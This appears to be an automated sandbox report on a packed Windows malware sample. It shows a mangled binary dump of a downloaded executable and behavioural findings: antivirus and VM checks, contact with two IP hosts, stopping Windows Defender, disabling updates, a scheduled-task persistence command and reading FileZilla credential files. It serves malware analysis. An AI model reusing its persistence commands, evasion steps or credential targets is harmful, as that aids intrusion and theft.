õýÿÿºL@ëôýÿÿºP@ðùÿÿè(ÿÿÿµðùÿÿøöt<ÎQAÀuù+Êùr)F<:u~\t >\u<\uVºøþÿÿè¾úÿÿë(Qhä@Qºøþÿÿè®ûÿÿVºøþÿÿè¨Jj.ZÎèôKÀ¦jÿhT@jÿPjjÿh @HèøþÿÿPÿp @øÿRÁè÷Ðà request_handle: 0x00cc000c	1	1
InternetReadFile April 28, 2023, 9:05 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $,CyáCyáCyáâ~Iyáä~Ëyáå~Qyáå~Lyáâ~Ryáä~byáà~FyáCyàyáØè~@yáØá~ByáØByáØã~ByáRichCyáPELàBdà!Þ>ð°@ J<K<øT ?p?@ð,.textVÝÞ `.rdataîaðbâ@@.dataD`D@À.rsrcøP@@.relocTR@Bj h¨<¹phè?#hêèYÃÌÌÌj8hÌ<¹hè#h`êèlYÃÌÌÌj8hÌ<¹ hèÿ"hÀêèLYÃÌÌÌj8hÌ<¹¸hèß"h ëè,YÃÌÌÌj8h=¹Ðhè¿"hëè*YÃÌÌÌj0hD=¹èhè"hàëèì)YÃÌÌÌj0hx=¹iè"h@ìèÌ)YÃÌÌÌhh°=¹iè\"h ìè©)YÃj?h>¹0iè?"híè)YÃÌÌÌÁÂÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPèÂ2ÄÆ^]ÂÌÌÌI¸\|<ÉEÁÃÌÌUìVñFÇñPèó2ÄöEtjVè«%ÄÆ^]ÂAÇñPèÉ2YÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌWÀÁfÖAÇA<ÇìñÃÌÌÌÌÌÌÌÌUììMôèÒÿÿÿhJEôPè2ÌÌÌÌUìVñWÀFPÇñfÖEÀPèò1ÄÇìñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìVñWÀFPÇñfÖEÀPè²1ÄÇ ñÆ^]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìQSZVWQSñè=h3É3À}üÛ~53Ò;ÇþEÐ=h¸phCph~r>A}üB;Ë\|Ë~r_ÆÆ^[å]Ã_ÆÆ^[å]ÃÌÌÌÌÌUììSVWòùQ}ôFPEðè3Û]ø9]ð)D~Ær¾Pè¯KÄÀu-NÆùr< tÆùrÏréÌ~Ær=@i3Ò Diÿt+EÿfD]ÿù¸0iC0i8]øtB;×ráÊÿEÈxr3Àÿt.MÿD=Di¹0i]ÿC 0i8]øt@;ÇrÝÈÿ=Di¹0iC 0iMìMôMøyr MøÏ+È 3Ò÷÷Mì}ô MøC]ø;]ðÜþÿÿrÆÇ_^[å]ÃÆÇ_^[å]ÃÌÌÌÌÌÌÌÌÌÌUìì@SVWÙòQMÄ]ôèçýÿÿEÄÖPMÜèYþÿÿhÇCÇCÆè°"Ø¹Èÿ]øûÄó«3Ò¾8>Bú@\|ðUì3ö3Û~øÒtAMø}ðEÜCEÜ¾øÿt'ÁæðÇxÏÆÓøMôPèUìïMøC;ÚrÂEøÀthPèð!ÄUðúr(MÜBÁúrIüÂ#+ÁÀüøwVRQèÀ!ÄUØÇEìÇEðÆEÜúr(MÄBÁúrIüÂ#+ÁÀüøwRQè~!ÄEô_^[å]ÃèGÌÌÌÌÌÌÌÌÌÌÌUìì4E0SVW3ÿÆEè¾À]ÇEàÇEäÆEÐ;Ç´+ÇMÐ;ÃBØ}4E CE SÇPèþr.MèVÁúrIüÂ#+ÁÀüøhRQè× ÄMÐ}Uó~EàEèCU}äuà]f~ÉMèCÁfÖEø;óu\îr; uÀÂîsïþüî: u7þýßH:Ju&þþÎH:Juþÿ½@:B±E0Guü;øõþÿÿ3ÿUþr/MèFÁþrIüÆ#+ÁÀüøVQè UÄEør'HÂùrRüÁ#+ÂÀüøw`QRèÏÄU4ÇEÇEÆEúr3M BÁúrIüÂ#+ÁÀüøwë uüGéWÿÿÿRQèÄÇ_^[å]Ãè Eè«ÌÌÌÌÌÌÌÌÌÌÌUìQS]Vñ]üWjhÀ>ÇFÇFÆèD3ÿÛ~1}ECE8S¿C ú¶È¶ÃGÈ¶ÁÎPèG;}ü\|ÏUúr(MBÁúrIüÂ#+ÁÀüøwRQèÑÄ_Æ^[å]ÃèïDÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìì0VWj$hÄ>MÐÇEàÇEäÆEÐèEÀu3öéÇ3ÿÀ¸ÇEøÇEüÆEè;ÇF+Ç¹;ÁBÈ}ECEQÇMèPèBìEÐÌPètìEèôìÌPèaÎèªþÿÿÄè¢üÿÿUüÄ0Àúr,MèBÁúrIüÂ#+ÁÀüø¹RQèÇÄEG;øHÿÿÿ¾Uäúr(MÐBÁúrIüÂ#+ÁÀüøwxRQèÄUúr^MBÁúrFIüÂ#+ÁÀüøwHë4úr(MèBÁúrIüÂ#+ÁÀüøw#RQè1Ä3öétÿÿÿRQè Ä_Æ^å]Ãè?CèJÌÌÌÌÌÌÌÌÌÌUìQEUMVÀS@WPè] ÄM}ØÓCM+ÑID ÿÀuóóNFÀuù+ñFVjÿðVøSWÿðPèÇ5ÄWÿðjÿñÿñWjÿñÿ ñUM_[^úr%BÁúrIüÂ#+ÁÀüøwRQèAÄå]ÃèdBÌÌÌÌUìì$SVWùjÇGÇGÆÿñÀj ÿ$ñØ]üÛlSÿðEôÀSjjjjjÿPjhéýÿððuøö.WN;ÊwOÇrÆëFGÙ+Ú+Â;Øw%ÇOrS4jVèE,ÆÄuøëQSÆEøÏÿuøSè¨]üÇrjjVPjÿÿuô request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00116800', u'virtual_address': u'0x0000c000', u'entropy': 7.964396412074581, u'name': u'.rsrc', u'virtual_size': u'0x00117000'}

entropy

7.96439641207

description

A section with a high entropy has been found

entropy

0.97122929381

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW April 28, 2023, 9:04 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW April 28, 2023, 9:04 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW April 28, 2023, 9:04 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW April 28, 2023, 9:04 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Queries for potentially installed applications (50 out of 78 events)

Time & API	Arguments	Status
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000003b0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: AddressBook base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Connection Manager base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: DirectDrawEx base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: EditPlus base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: ENTERPRISE base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Fontcore base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Google Chrome base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: IE40 base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: IE4Data base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: IE5BAKEX base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: IEData base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: MobileOptionPack base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: SchedulingAgent base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: WIC base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0015-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0016-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0018-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0019-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-001A-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-001B-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-001F-0409-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-001F-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0028-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-002C-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0030-0000-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0044-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-006E-0409-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-006E-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-00A1-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-00BA-0409-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {90120000-0114-0412-0000-0000000FF1CE} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: {d992c12e-cab2-426f-bde3-fb8c53950b0d} base_handle: 0x000003b0 key_handle: 0x000003b8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall base_handle: 0x80000002 key_handle: 0x000003d4 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: AddressBook base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Connection Manager base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: DirectDrawEx base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: EditPlus base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: ENTERPRISE base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Fontcore base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Google Chrome base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: Haansoft HWord 80 Korean base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: IE40 base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40	1
RegOpenKeyExW April 28, 2023, 9:04 a.m.	regkey_r: IE4Data base_handle: 0x000003d4 key_handle: 0x000003d8 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

Communicates with host for which no DNS query was performed (2 events)

host	185.161.248.72
host	193.3.19.154

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService April 28, 2023, 9:04 a.m.	service_handle: 0x008c6748 service_name: WinDefend control_code: 1		0	0
ControlService April 28, 2023, 9:04 a.m.	service_handle: 0x008c6ab8 service_name: wuauserv control_code: 1		0	0

Installs itself for autorun at Windows startup (12 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\foto0174.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000007051\foto0174.exe
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\foto34.exe	reg_value	C:\Users\test22\AppData\Local\Temp\1000008051\foto34.exe
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP004.TMP\"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F

Attempts to disable Windows Auto Updates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Collects information about installed applications (50 out of 54 events)

Time & API	Arguments	Status
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW April 28, 2023, 9:04 a.m.	key_handle: 0x000003b8 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
